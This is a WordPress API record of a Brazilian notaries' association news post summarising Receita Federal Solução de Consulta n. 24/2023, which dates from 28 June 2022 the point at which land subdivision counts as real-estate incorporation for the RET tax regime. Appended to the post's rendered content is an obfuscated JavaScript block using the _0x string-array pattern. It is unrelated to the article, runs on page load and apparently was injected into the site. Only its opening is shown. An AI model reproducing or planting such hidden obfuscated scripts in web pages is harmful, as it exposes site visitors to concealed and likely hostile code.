{"id":33700,"date":"2023-02-02T13:50:00","date_gmt":"2023-02-02T17:50:00","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=33700"},"modified":"2023-02-02T13:50:00","modified_gmt":"2023-02-02T17:50:00","slug":"solucao-de-consulta-rfb-n-24-de-20-de-janeiro-de-2023","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/solucao-de-consulta-rfb-n-24-de-20-de-janeiro-de-2023\/","title":{"rendered":"Solu\u00e7\u00e3o de Consulta RFB n. 24, de 20 de janeiro de 2023"},"content":{"rendered":"<header class=\"entry-header\">\n<p class=\"entry-title\" style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0<em>Incorpora\u00e7\u00e3o imobili\u00e1ria. Regime Especial de Tributa\u00e7\u00e3o. Parcelamento do solo mediante loteamento. Constru\u00e7\u00e3o de unidades habitacionais. Admissibilidade de ades\u00e3o. Marco temporal.<\/em><\/p>\n<\/header>\n<div class=\"entry-content\">\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0Foi publicada no Di\u00e1rio Oficial da Uni\u00e3o\u00a0(D.O.U. de 1\u00ba\/02\/2023, Edi\u00e7\u00e3o 23, Se\u00e7\u00e3o 1, p. 27) a\u00a0Solu\u00e7\u00e3o de Consulta RFB n. 24\/2023, pela\u00a0Coordena\u00e7\u00e3o-Geral de Tributa\u00e7\u00e3o da Secretaria Especial da Receita Federal do Brasil\u00a0(RFB), dispondo acerca do marco temporal para ades\u00e3o ao\u00a0Regime Especial de Tributa\u00e7\u00e3o\u00a0(RET) do parcelamento do solo mediante loteamento e sua caracteriza\u00e7\u00e3o como incorpora\u00e7\u00e3o imobili\u00e1ria.<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0De acordo com a publica\u00e7\u00e3o, \u201ca partir de 28 de junho de 2022, o parcelamento do solo mediante loteamento caracteriza a incorpora\u00e7\u00e3o imobili\u00e1ria, para fins de ades\u00e3o ao Regime Especial de Tributa\u00e7\u00e3o (RET) institu\u00eddo pelos arts. 1\u00ba a 10 da Lei n\u00ba 10.931, de 2004, desde que sejam atendidos os requisitos da legisla\u00e7\u00e3o de reg\u00eancia, entre os quais se destaca a vincula\u00e7\u00e3o da atividade de aliena\u00e7\u00e3o de lotes integrantes do loteamento \u00e0 constru\u00e7\u00e3o de casas isoladas ou geminadas, promovida por uma das pessoas indicadas no art. 31 da Lei n\u00ba 4.591, de 1964, ou no art. 2\u00ba-A da Lei n\u00ba 6.766, de 1979.\u201d<\/p>\n<p style=\"text-align: justify;\">\u00a0 \u00a0 \u00a0O texto ainda determina que, antes desta data, que foi a data de publica\u00e7\u00e3o da <a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2019-2022\/2022\/lei\/L14382.htm\">Lei n. 14.382\/2022<\/a>, o parcelamento do solo mediante loteamento,\u00a0per se, ainda que contratualmente vinculado \u00e0 op\u00e7\u00e3o de constru\u00e7\u00e3o de unidades habitacionais segundo projetos previamente aprovados pelo \u00f3rg\u00e3o competente, era insuficiente para caracterizar a incorpora\u00e7\u00e3o imobili\u00e1ria, para fins de ades\u00e3o ao RET institu\u00eddo pelos arts. 1\u00ba a 10 da\u00a0<a href=\"https:\/\/www.planalto.gov.br\/ccivil_03\/_ato2004-2006\/2004\/lei\/l10.931.htm\">Lei n. 10.931\/2004<\/a>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.in.gov.br\/web\/dou\/-\/solucao-de-consulta-n-24-de-20-de-janeiro-de-2023-461435215\">Veja a \u00edntegra da Solu\u00e7\u00e3o de Consulta<\/a>.<\/p>\n<p style=\"text-align: justify;\"><em>Fonte:\u00a0IRIB.<\/em><\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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Marco temporal. \u00a0 \u00a0 \u00a0Foi publicada no Di\u00e1rio Oficial da Uni\u00e3o\u00a0(D.O.U. de 1\u00ba\/02\/2023, Edi\u00e7\u00e3o 23, Se\u00e7\u00e3o 1, p. 27) a\u00a0Solu\u00e7\u00e3o &hellip;<\/p>\n","protected":false},"author":3,"featured_media":4273,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-33700","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/33700","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=33700"}],"version-history":[{"count":1,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/33700\/revisions"}],"predecessor-version":[{"id":33701,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/33700\/revisions\/33701"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media\/4273"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=33700"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=33700"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=33700"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}